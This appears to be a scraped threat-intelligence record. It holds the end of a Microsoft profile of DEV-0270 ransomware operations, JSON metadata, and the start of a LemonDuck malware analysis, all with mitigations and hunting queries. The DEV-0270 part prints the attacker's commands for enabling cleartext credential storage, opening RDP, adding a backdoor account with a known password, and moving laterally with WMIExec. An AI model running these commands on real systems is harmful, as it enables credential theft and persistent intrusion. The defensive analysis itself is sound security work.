supplied the fixes. While there have been indications that DEV-0270 attempted to exploit [Log4j 2 vulnerabilities](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>), Microsoft has not observed this activity used against customers to deploy ransomware.\n\n### Discovery\n\nUpon gaining access to an organization, DEV-0270 performs a series of discovery commands to learn more about the environment. The command [_wmic_](<https://docs.microsoft.com/windows/win32/wmisdk/wmic>)_ computersystem get domain _obtains the target\u2019s domain name. The _whoami_ command displays user information and _net user_ command is used to add or modify user accounts. For more information on the accounts created and common password phrases DEV-0270 used, refer to the Advanced Hunting section.\n\n * wmic computersystem get domain\n * whoami\n * net user\n\nOn the compromised Exchange server, the actor used the following command to understand the target environment.\n \n \n Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders\n\nFor discovery of domain controllers, the actor used the following PowerShell and WMI command.\n\n\n\n### Credential access\n\nDEV-0270 often opts for a particular method using a LOLBin to conduct their credential theft, as this removes the need to drop common credential theft tools more likely to be detected and blocked by antivirus and endpoint detection and response (EDR) solutions. This process starts by enabling WDigest in the registry, which results in passwords stored in cleartext on the device and saves the actor time by not having to crack a password hash.\n \n \n \"reg\" add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f\n\nThe actor then uses _rundll32.exe_ and _comsvcs.dll_ with its built-in MiniDump function to dump passwords from LSASS into a dump file. The command to accomplish this often specifies the output to save the passwords from LSASS. The file name is also reversed to evade detections (_ssasl.dmp)_:\n\n\n\n### Persistence\n\nTo maintain access in a compromised network, the DEV-0270 actor adds or creates a new user account, frequently named _DefaultAccount _with a password of _P@ssw0rd1234,_ to the device using the command _net user /add._ The _DefaultAccoun_t account is typically a pre-existing account set up but not enabled on most Windows systems.\n\nThe attacker then modifies the registry to allow remote desktop (RDP) connections for the device, adds a rule in the firewall using _netsh.exe_ to allow RDP connections, and adds the user to the remote desktop users group:\n \n \n \"reg\" add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v TSEnabled /t REG_DWORD /d 1 /f\n \n \n \"reg\" add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0\n \n \n \"reg\" add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD\n \n \n \"netsh\" advfirewall firewall add rule name=\"Terminal Server\" dir=in action=allow protocol=TCP localport=3389\n\nScheduled tasks are one of the recurrent methods used by DEV-0270 in their attacks to maintain access to a device. Generally, the tasks load via an XML file and are configured to run on boot with the least privilege to launch a .bat via the command prompt. The batch file results in a download of a renamed _dllhost.exe_, a reverse proxy, for maintaining control of the device even if the organization removes the file from the device.\n\nFigure 2. Scheduled task used in DEV-0270 attacks\n\n### Privilege escalation\n\nDEV-0270 can usually obtain initial access with administrator or system-level privileges by injecting their web shell into a privileged process on a vulnerable web server. When the group uses Impacket\u2019s WMIExec to move to other systems on the network laterally, they are typically already using a privileged account to run remote commands. DEV-0270 also commonly dumps LSASS, as mentioned in the credential access section, to obtain local system credentials and masquerade as other local accounts which might have extended privileges.\n\nAnother form of privilege escalation used by DEV-0270 involves the creation or activation of a user account to provide it with administrator privileges. DEV-0270 uses _powershell.exe_ and _net.exe_ commands to create or enable this account and add it to the administrators\u2019 group for higher privileges.\n\n### Defense evasion\n\nDEV-0270 uses a handful of defensive evasion techniques to avoid detection. The threat actors typically turn off Microsoft Defender Antivirus real-time protection to prevent Microsoft Defender Antivirus from blocking the execution of their custom binaries. The threat group creates or activates the _DefaultAccount_ account to add it to the Administrators and Remote Desktop Users groups. The modification of the _DefaultAccount_ provides the threat actor group with a legitimate pre-existing account with nonstandard, higher privileges. DEV-0270 also uses _powershell.exe_ to load their custom root certificate to the local certificate database. This custom certificate is spoofed to appear as a legitimate Microsoft-signed certificate. However, Windows flags the spoofed certificate as invalid due to the unverified certificate signing chain. This certificate allows the group to encrypt their malicious communications to blend in with other legitimate traffic on the network.\n\nAdditionally, DEV-0270 heavily uses native LOLBins to effectively avoid detection. The threat group commonly uses native WMI, net, CMD, and PowerShell commands and registry configurations to maintain stealth and operational security. They also install and masquerade their custom binaries as legitimate processes to hide their presence. Some of the legitimate processes they masquerade their tools as include: _dllhost.exe_, _task_update.exe_, _user.exe_, and _CacheTask_. Using .bat files and _powershell.exe_, DEV-0270 might terminate existing legitimate processes, run their binary with the same process name, and then configure scheduled tasks to ensure the persistence of their custom binaries.\n\n### Lateral movement\n\nDEV-0270 has been seen creating _defaultaccount_ and adding that account to the Remote Desktop Users group. The group uses the RDP connection to move laterally, copy tools to the target device, and perform encryption.\n\nAlong with RDP, [Impacket](<https://github.com/SecureAuthCorp/impacket/>)\u2019s WMIExec is a known toolkit used by the group for lateral movement. In multiple compromises, this was the main method observed for them to pivot to additional devices in the organization, execute commands to find additional high-value targets, and dump credentials for escalating privileges.\n\nAn example of a command using Impacket\u2019s WMIExec from a remote device:\n \n \n cmd.exe /Q /c quser 1> \\\\127.0.0.1\\ADMIN$\\__1657130354.2207212 2>&1\n\n### Impact\n\nDEV-0270 has been seen using _setup.bat_ commands to enable BitLocker encryption, which leads to the hosts becoming inoperable. For workstations, the group uses _DiskCryptor_, an open-source full disk encryption system for Windows that allows for the encryption of a device's entire hard drive. The group drops _DiskCryptor_ from an RDP session and when it is launched, begins the encryption. This method does require a reboot to install and another reboot to lock out access to the workstation.\n\nThe following are DEV-0270\u2019s PowerShell commands using BitLocker:\n\n\n\nMicrosoft will continue to monitor DEV-0270 and PHOSPHORUS activity and implement protections for our customers. The current detections, advanced detections, and IOCs in place across our security products are detailed below.\n\n## Recommended mitigation steps\n\nThe techniques used by DEV-0270 can be mitigated through the following actions:\n\n * Apply the [corresponding security updates for Exchange Server](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Mar>), including applicable fixes for [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>). While it is important to prioritize patching of internet-facing Exchange servers to mitigate risk in an ordered manner, unpatched internal Exchange Server instances should also be addressed as soon as possible.\n * For Exchange Server instances in Mainstream Support, critical product updates are released for the most recently released Cumulative Updates (CU) and for the previous CU. For Exchange Server instances in Extended Support, critical product updates are released for the most recently released CU only.\n * If you don't have a supported CU, Microsoft is producing an additional series of security updates (SUs) that can be applied to some older and unsupported CUs to help customers more quickly protect their environment. For information on these updates, see March 2021 Exchange Server Security Updates for older Cumulative Updates of Exchange Server.\n * Installing the updates is the only complete mitigation for these vulnerabilities and has no impact on functionality. If the threat actor has exploited these vulnerabilities to install malware, installing the updates _does not_ remove implanted malware or evict the actor.\n * Use [Microsoft Defender Firewall](<https://support.microsoft.com/windows/turn-microsoft-defender-firewall-on-or-off-ec0844f7-aebd-0583-67fe-601ecf5d774f>), intrusion prevention devices, and your network firewall to prevent RPC and SMB communication among devices whenever possible. This limits lateral movement and other attack activities.\n * Check your perimeter firewall and proxy to restrict or prevent network appliances like Fortinet SSL VPN devices from making arbitrary connections to the internet to browse or download files.\n * Enforce strong local administrator passwords. Use tools like [LAPS](<https://docs.microsoft.com/previous-versions/mt227395\\(v=msdn.10\\)?redirectedfrom=MSDN>).\n * Ensure that [Microsoft Defender Antivirus](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/microsoft-defender-antivirus-windows?view=o365-worldwide>) is up to date and that real-time behavior monitoring is enabled.\n * Keep backups so you can recover data affected by destructive attacks. Use controlled folder access to prevent unauthorized applications from modifying protected files.\n * Turn on the following [attack surface reduction rules](<https://docs.microsoft.com/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction>) to block or audit activity associated with this threat:\n * Block credential stealing from the Windows local security authority subsystem (lsass.exe)\n * Block process creations originating from PsExec and WMI commands\n * Block persistence through WMI event subscription. Ensure that Microsoft Defender for Endpoint is up to date and that real-time behavior monitoring is enabled\n\n## Detection details\n\n### Microsoft Defender for Endpoint\n\nAlerts with the following titles in the security center can indicate threat activity on your network:\n\n * Malware associated with DEV-0270 activity group detected\n\nThe following additional alerts may also indicate activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.\n\nA script with suspicious content was observed| Suspicious file dropped by Exchange Server process \n---|--- \nA suspicious file was observed| Suspicious Modify Registry \nAnomalous behavior by a common executable| Suspicious Permission Groups Discovery \nLazagne post-exploitation tool| Suspicious PowerShell command line \nLocal Emails Collected| Suspicious PowerShell download or encoded command execution \nMimikatz credential theft tool| Suspicious Process Discovery \n'Mimilove' high-severity malware was prevented| Suspicious process executed PowerShell command \nNew group added suspiciously| Suspicious process launched using dllhost.exe \nOngoing hands-on-keyboard attack via Impacket toolkit| Suspicious 'PShellCobStager' behavior was blocked \nPossible Antimalware Scan Interface (AMSI) tampering| Suspicious Scheduled Task Process Launched \nPossible attempt to discover groups and permissions| Suspicious sequence of exploration activities \nPossible exploitation of Exchange Server vulnerabilities| Suspicious 'SuspExchgSession' behavior was blocked \nPossible exploitation of ProxyShell vulnerabilities| Suspicious System Network Configuration Discovery \nPossible web shell installation| Suspicious System Owner/User Discovery \nProcess memory dump| Suspicious Task Scheduler activity \nSuspicious Account Discovery: Email Account| Suspicious User Account Discovery \nSuspicious behavior by cmd.exe was observed| Suspicious user password change \nSuspicious behavior by svchost.exe was observed| Suspicious w3wp.exe activity in Exchange \nSystem file masquerade \nSuspicious behavior by Web server process| Tampering with the Microsoft Defender for Endpoint sensor \nSuspicious Create Account| Unusual sequence of failed logons \nSuspicious file dropped| WDigest configuration change \n \n## Hunting queries\n\n### Microsoft Sentinel\n\nMicrosoft Sentinel customers can use the following queries to look for the related malicious activity in their environments.\n\n**DEV-0270 registry IOC**\n\nThis query identifies modification of registry by DEV-0270 actor to disable security feature as well as to add ransom notes:\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270RegistryIOCSep2022.yaml>\n\n**DEV-0270 malicious PowerShell usage**\n\nDEV-0270 heavily uses PowerShell to achieve their objective at various stages of their attack. This query locates PowerShell activity tied to the actor:\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270PowershellSep2022.yaml>\n\n**DEV-0270 WMIC discovery**\n\nThis query identifies _dllhost.exe_ using WMIC to discover additional hosts and associated domains in the environment:\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270WMICDiscoverySep2022.yaml>\n\n**DEV-0270 new user creation**\n\nThis query tries to detect creation of a new user using a known DEV-0270 username/password schema:\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270NewUserSep2022.yaml>\n\n### Microsoft 365 Defender\n\nTo locate possible actor activity, run the following queries.\n\n**Disable services via registry** \nSearch for processes modifying the registry to disable security features. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Disabling%20Services%20via%20Registry.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessCommandLine has_all(@\u2019\u201dreg\u201d\u2019, \u2018add\u2019, @\u2019\u201dHKLM\\SOFTWARE\\Policies\\\u2019, \u2018/v\u2019,\u2019/t\u2019, \u2018REG_DWORD\u2019, \u2018/d\u2019, \u2018/f\u2019)\n and InitiatingProcessCommandLine has_any(\u2018DisableRealtimeMonitoring\u2019, \u2018UseTPMKey\u2019, \u2018UseTPMKeyPIN\u2019, \u2018UseAdvancedStartup\u2019, \u2018EnableBDEWithNoTPM\u2019, \u2018RecoveryKeyMessageSource\u2019)\n\n**Modifying the registry to add a ransom message notification**\n\nIdentify registry modifications that are indicative of a ransom note tied to DEV-0270. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Modifying%20the%20registry%20to%20add%20a%20ransom%20message%20notification.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessCommandLine has_all(\u2018\u201dreg\u201d\u2019, \u2018add\u2019, @\u2019\u201dHKLM\\SOFTWARE\\Policies\\\u2019, \u2018/v\u2019,\u2019/t\u2019, \u2018REG_DWORD\u2019, \u2018/d\u2019, \u2018/f\u2019, \u2018RecoveryKeyMessage\u2019, \u2018Your drives are Encrypted!\u2019, \u2018@\u2019)\n\n**DLLHost.exe file creation via PowerShell**\n\nIdentify masqueraded _DLLHost.exe_ file created by PowerShell. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/DLLHost.exe%20file%20creation%20via%20PowerShell.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName =~ \u2018powershell.exe\u2019\n | where InitiatingProcessCommandLine has_all(\u2018$file=\u2019, \u2018dllhost.exe\u2019, \u2018Invoke-WebRequest\u2019, \u2018-OutFile\u2019)\n\n**Add malicious user to Admins and RDP users group via PowerShell**\n\nLook for adding a user to Administrators in remote desktop users via PowerShell. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Add%20malicious%20user%20to%20Admins%20and%20RDP%20users%20group%20via%20PowerShell.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName =~ 'powershell.exe'\n | where InitiatingProcessCommandLine has_all('$admins=', 'System.Security.Principal.SecurityIdentifier', 'Translate', '-split', 'localgroup', '/add', '$rdp=')\n\n**Email data exfiltration via PowerShell**\n\nIdentify email exfiltration conducted by PowerShell. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml>)\n \n \n DeviceProcessEvents\n | where FileName =~ 'powershell.exe'\n | where ProcessCommandLine has_all('Add-PSSnapin', 'Get-Recipient', '-ExpandProperty', 'EmailAddresses', 'SmtpAddress', '-hidetableheaders')\n\n**Create new user with known DEV-0270 username/password** \nSearch for the creation of a new user using a known DEV-0270 username/password schema. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Create%20new%20user%20with%20known%20DEV-0270%20username%20and%20password.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessCommandLine has_all('net user', '/add')\n | parse InitiatingProcessCommandLine with * \"user \" username \" \"*\n | extend password = extract(@\"\\buser\\s+[^\\s]+\\s+([^\\s]+)\", 1, InitiatingProcessCommandLine)\n | where username in('DefaultAccount') or password in('P@ssw0rd1234', '_AS_@1394')\n\n**PowerShell adding exclusion path for Microsoft Defender of ProgramData**\n\nIdentify PowerShell creating an exclusion path of ProgramData directory for Microsoft Defender to not monitor. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/PowerShell%20adding%20exclusion%20path%20for%20Microsoft%20Defender%20of%20ProgramData.yaml>)\n \n \n DeviceProcessEvents\n | where FileName =~ \"powershell.exe\" and ProcessCommandLine has_all(\"try\", \"Add-MpPreference\", \"-ExclusionPath\", \"ProgramData\", \"catch\")\n \n\n**DLLHost.exe WMIC domain discovery**\n\nIdentify dllhost.exe using WMIC to discover additional hosts and associated domain. [GitHub link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/DLLHost.exe%20WMIC%20domain%20discovery.yaml>)\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName =~ \"dllhost.exe\" and InitiatingProcessCommandLine == \"dllhost.exe\"\n | where ProcessCommandLine has \"wmic computersystem get domain\"\n \n\nThe post [Profiling DEV-0270: PHOSPHORUS\u2019 ransomware operations](<https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-09-07T21:00:00", "type": "mmpc", "title": "Profiling DEV-0270: PHOSPHORUS\u2019 ransomware operations", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-44228"], "modified": "2022-09-07T21:00:00", "id": "MMPC:1E3441B57C08BC18202B9FE758C2CA71", "href": "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T21:41:38", "description": "_[Note: In this two-part blog series, we expose a modern malware infrastructure and provide guidance for protecting against the wide range of threats it enables. [Part 1](<https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/>) covered the evolution of the threat, how it spreads, and how it impacts organizations. Part 2 provides a deep dive on the attacker behavior and outlines investigation guidance.] _\n\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. As we discussed in [Part 1](<https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/>) of this blog series, in recent months LemonDuck adopted more sophisticated behavior and escalated its operations. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\nLemonDuck spreads in a variety of ways, but the two main methods are (1) compromises that are either edge-initiated or facilitated by bot implants moving laterally within an organization, or (2) bot-initiated email campaigns. After installation, LemonDuck can generally be identified by a predictable series of automated activities, followed by beacon check-in and monetization behaviors, and then, in some environments, human-operated actions.\n\nIn this blog post, we share our in-depth technical analysis of the malicious actions that follow a LemonDuck infection. These include general and automatic behavior, as well as human-operated actions. We also provide guidance for investigating LemonDuck attacks, as well as mitigation recommendations for strengthening defenses against these attacks.\n\n\n\n_Figure 2. LemonDuck attack chain from the Duck and Cat infrastructures_\n\n## External or human-initialized behavior\n\nLemonDuck activity initiated from external applications \u2013 as against self-spreading methods like malicious phishing mail \u2013 is generally much more likely to begin with or lead to human-operated activity. These activities always result in more invasive secondary malware being delivered in tandem with persistent access being maintained through backdoors. These human-operated activities result in greater impact than standard infections.\n\nIn March and April 2021, various vulnerabilities related to the [ProxyLogon](<https://security.microsoft.com/threatanalytics3/4ef1fbc5-5659-4d9b-b32e-97a694475955/overview>) set of Microsoft Exchange Server exploits were utilized by LemonDuck to install web shells and gain access to outdated systems. Attackers then used this access to launch additional attacks while also deploying automatic LemonDuck components and malware.\n\nIn some cases, the LemonDuck attackers used renamed copies of the official Microsoft Exchange On-Premises Mitigation Tool to remediate the vulnerability they had used to gain access. They did so while maintaining full access to compromised devices and limiting other actors from abusing the same Exchange vulnerabilities.\n\nThis self-patching behavior is in keeping with the attackers\u2019 general desire to remove competing malware and risks from the device. This allows them to limit visibility of the attack to SOC analysts within an organization who might be prioritizing unpatched devices for investigation, or who would overlook devices that do not have a high volume of malware present.\n\nThe LemonDuck operators also make use of many [fileless malware techniques](<https://www.microsoft.com/security/blog/2018/01/24/now-you-see-me-exposing-fileless-malware/#:~:text=%20These%20techniques%20include%3A%20%201%20Reflective%20DLL,provide%20powerful%20means%20for%20delivering%20memory-only...%20More%20>), which can make remediation more difficult. Fileless techniques, which include persistence via registry, scheduled tasks, WMI, and startup folder, remove the need for stable malware presence in the filesystem. These techniques also include utilizing process injection and in-memory execution, which can make removal non-trivial. It is therefore imperative that organizations that were vulnerable in the past also direct action to investigate exactly how patching occurred, and whether malicious activity persists.\n\nOn the basic side of implementation this can mean registry, scheduled task, WMI and startup folder persistence to remove the necessity for stable malware presence in the filesystem. However, many free or easily available RATs and Trojans are now routinely utilizing process injection and in-memory execution to circumvent easy removal. To rival these kinds of behaviors it\u2019s imperative that security teams within organizations review their incident response and malware removal processes to include all common areas and arenas of the operating system where malware may continue to reside after cleanup by an antivirus solution.\n\n## General, automatic behavior\n\nIf the initial execution begins automatically or from self-spreading methods, it typically originates from a file called _Readme.js_. This behavior could change over time, as the purpose of this .js file is to obfuscate and launch the PowerShell script that pulls additional scripts from the C2. This JavaScript launches a CMD process that subsequently launches Notepad as well as the PowerShell script contained within the JavaScript.\n\nIn contrast, if infection begins with RDP brute force, Exchange vulnerabilities, or other vulnerable edge systems, the first few actions are typically human-operated or originate from a hijacked process rather than from _Readme.js_. After this, the next few actions that the attackers take, including the scheduled task creation, as well as the individual components and scripts are generally the same.\n\nOne of these actions is to establish fileless persistence by creating scheduled tasks that re-run the initial PowerShell download script. This script pulls its various components from the C2s at regular intervals. The script then checks to see if any portions of the malware were removed and re-enables them. LemonDuck also maintains a backup persistence mechanism through WMI Event Consumers to perform the same actions.\n\nTo host their scripts, the attackers use multiple hosting sites, which as mentioned are resilient to takedown. They also have multiple scheduled tasks to try each site, as well as the WMI events in case other methods fail. If all of those fail, LemonDuck also uses its access methods such as RDP, Exchange web shells, Screen Connect, and RATs to maintain persistent access. These task names can vary over time, but \u201cblackball\u201d, \u201cblutea\u201d, and \u201crtsa\u201d have been persistent throughout 2020 and 2021 and are still seen in new infections as of this report.\n\nLemonDuck attempts to automatically disable Microsoft Defender for Endpoint real-time monitoring and adds whole disk drives \u2013 specifically the _C:\\_ drive \u2013 to the Microsoft Defender exclusion list. This action could in effect disable Microsoft Defender for Endpoint, freeing the attacker to perform other actions. [Tamper protection](<https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide>) prevents these actions, but it\u2019s important for organizations to monitor this behavior in cases where individual users set their own exclusion policy.\n\nLemonDuck then attempts to automatically remove a series of other security products through _CMD.exe_, leveraging _WMIC.exe_. The products that we have observed LemonDuck remove include ESET, Kaspersky, Avast, Norton Security, and MalwareBytes. However, they also attempt to uninstall any product with \u201cSecurity\u201d and \u201cAntiVirus\u201d in the name by running the following commands:\n\n\n\nCustom detections in Microsoft Defender for Endpoint or other security solutions can raise alerts on behaviors indicating interactions with security products that are not deployed in the environment. These alerts can allow the quick isolation of devices where this behavior is observed. While this uninstallation behavior is common in other malware, when observed in conjunction with other LemonDuck TTPs, this behavior can help validate LemonDuck infections.\n\nLemonDuck leverages a wide range of free and open-source penetration testing tools. It also uses freely available exploits and functionality such as coin mining. Because of this, the order and the number of times the next few activities are run can change. The attackers can also change the threat\u2019s presence slightly depending on the version, the method of infection, and timeframe. Many .exe and .bin files are downloaded from C2s via encoded PowerShell commands. These domains use a variety names such as the following:\n\n * ackng[.]com\n * bb3u9[.]com\n * ttr3p[.]com\n * zz3r0[.]com\n * sqlnetcat[.]com\n * netcatkit[.]com\n * hwqloan[.]com\n * 75[.]ag\n * js88[.]ag\n * qq8[.]ag\n\nIn addition to directly calling the C2s for downloads through scheduled tasks and PowerShell, LemonDuck exhibits another unique behavior: the IP addresses of a smaller subset of C2s are calculated and paired with a previously randomly generated and non-real domain name. This information is then added into the Windows Hosts file to avoid detection by static signatures. In instances where this method is seen, there is a routine to update this once every 24 hours. An example of this is below:\n\n\n\nLemonDuck is known to use custom executables and scripts. It also renames and packages well-known tools such as XMRig and Mimikatz. Of these, the three most common are the following, though other packages and binaries have been seen as well, including many with _.ori_ file extensions:\n\n * _IF.BIN _(used for lateral movement and privilege escalation)\n * _KR.BIN _(used for competition removal and host patching)\n * _M[0-9]{1}[A-Z]{1}.BIN, M6.BIN, M6.BIN.EXE, or M6G.Bin_ (used for mining)\n\nExecutables used throughout the infection also use random file names sourced from the initiating script, which selects random characters, as evident in the following code:\n\n\n\n## Lateral movement and privilege escalation\n\n_IF.Bin_, whose name stands for \u201cInfection\u201d, is the most common name used for the infection script during the download process. LemonDuck uses this script at installation and then repeatedly thereafter to attempt to scan for ports and perform network reconnaissance. It then attempts to log onto adjacent devices to push the initial LemonDuck execution scripts.\n\n_IF.Bin_ attempts to move laterally via any additional attached drives. When drives are identified, they are checked to ensure that they aren\u2019t already infected. If they aren\u2019t, a copy of _Readme.js_, as well as subcomponents of _IF.Bin_, are downloaded into the drive\u2019s home directory as hidden.\n\nSimilarly, _IF.Bin_ attempts to brute force and use vulnerabilities for SMB, SQL, and other services to move laterally. It then immediately contacts the C2 for downloads.\n\nAnother tool dropped and utilized within this lateral movement component is a bundled Mimikatz, within a _mimi.dat_ file associated with both the \u201cCat\u201d and \u201cDuck\u201d infrastructures. This tool\u2019s function is to facilitate credential theft for additional actions. In conjunction with credential theft, _IF.Bin_ drops additional .BIN files to attempt common service exploits like CVE-2017-8464 (LNK remote code execution vulnerability) to increase privilege.\n\nThe attackers regularly update the internal infection components that the malware scans for. They then attempt brute force or spray attacks, as well as exploits against available SSH, MSSQL, SMB, Exchange, RDP, REDIS and Hadoop YARN for Linux and Windows systems. A sample of ports that recent LemonDuck infections were observed querying include 70001, 8088, 16379, 6379, 22, 445, and 1433.\n\nOther functions built in and updated in this lateral movement component include mail self-spreading. This spreading functionality evaluates whether a compromised device has Outlook. If so, it accesses the mailbox and scans for all available contacts. It sends the initiating infecting file as part of a .zip, .js, or .doc/.rtf file with a static set of subjects and bodies. The mail metadata count of contacts is also sent to the attacker, likely to evaluate its effectiveness, such as in the following command:\n\n\n\n## Competition removal and host patching\n\nAt installation and repeatedly afterward, LemonDuck takes great lengths to remove all other botnets, miners, and competitor malware from the device. It does this via _KR.Bin_, the \u201cKiller\u201d script, which gets its name from its function calls. This script attempts to remove services, network connections, and other evidence from dozens of competitor malware via scheduled tasks. It also closes well-known mining ports and removes popular mining services to preserve system resources. The script even removes the mining service it intends to use and simply reinstalls it afterward with its own configuration.\n\nThis \u201cKiller\u201d script is likely a continuation of older scripts that were used by other botnets such as GhostMiner in 2018 and 2019. The older variants of the script were quite small in comparison, but they have since grown, with additional services added in 2020 and 2021. Presently, LemonDuck seems consistent in naming its variant _KR.Bin_. This process spares the scheduled tasks created by LemonDuck itself, including various PowerShell scripts as well as a task called \u201cblackball\u201d, \u201cblutea\u201d, or \u201crtsa\u201d, which has been in use by all LemonDuck\u2019s infrastructures for the last year along with other task names.\n\nThe attackers were also observed manually re-entering an environment, especially in instances where edge vulnerabilities were used as an initial entry vector. The attackers also patch the vulnerability they used to enter the network to prevent other attackers from gaining entry. As mentioned, the attackers were seen using a copy of a Microsoft-provided mitigation tool for Exchange ProxyLogon vulnerability, which they hosted on their infrastructure, to ensure other attackers don\u2019t gain web shell access the way they had. If unmonitored, this scenario could potentially lead to a situation where, if a system does not appear to be in an unpatched state, suspicious activity that occurred before patching could be ignored or thought to be unrelated to the vulnerability.\n\n## Weaponization and continued impact\n\nA miner implant is downloaded as part of the monetization mechanism of LemonDuck. The implant used is usually XMRig, which is a favorite of GhostMiner malware, the [Phorpiex botnet](<https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/>), and other malware operators. The file uses any of the following names:\n\n * _M6.bin_\n * _M6.bin.ori_\n * _M6G.bin_\n * _M6.bin.exe_\n * _<File name that follows the regex pattern M[0-9]{1}[A-Z]{1}>.BIN._\n\nOnce the automated behaviors are complete, the threat goes into a consistent check-in behavior, simply mining and reporting out to the C2 infrastructure and mining pools as needed with encoded PowerShell commands such as those below (decoded):\n\n\n\nOther systems that are affected bring in secondary payloads such as Ramnit, which is a very popular Trojan that has been seen being dropped by other malware in the past. Additional backdoors, other malware implants, and activities continuing long after initial infection, demonstrating that even a \u201csimple\u201d infection by a coin mining malware like LemonDuck can persist and bring in more dangerous threats to the enterprise.\n\n## Comprehensive protection against a wide-ranging malware operation\n\nThe cross-domain visibility and coordinated defense delivered by [Microsoft 365 Defender](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>) is designed for the wide range and increasing sophistication of threats that LemonDuck exemplifies. Below we list mitigation actions, detection information, and advanced hunting queries that Microsoft 365 Defender customers can use to harden networks against threats from LemonDuck and other malware operations.\n\n### Mitigations\n\nApply these mitigations to reduce the impact of LemonDuck. Check the recommendations card for the deployment status of monitored mitigations.\n\n * Prevent threats from arriving via removable storage devices by blocking these devices on sensitive endpoints. If you allow removable storage devices, you can minimize the risk by turning off autorun, enabling real-time antivirus protection, and blocking untrusted content. [Learn about stopping threats from USB devices and other removable 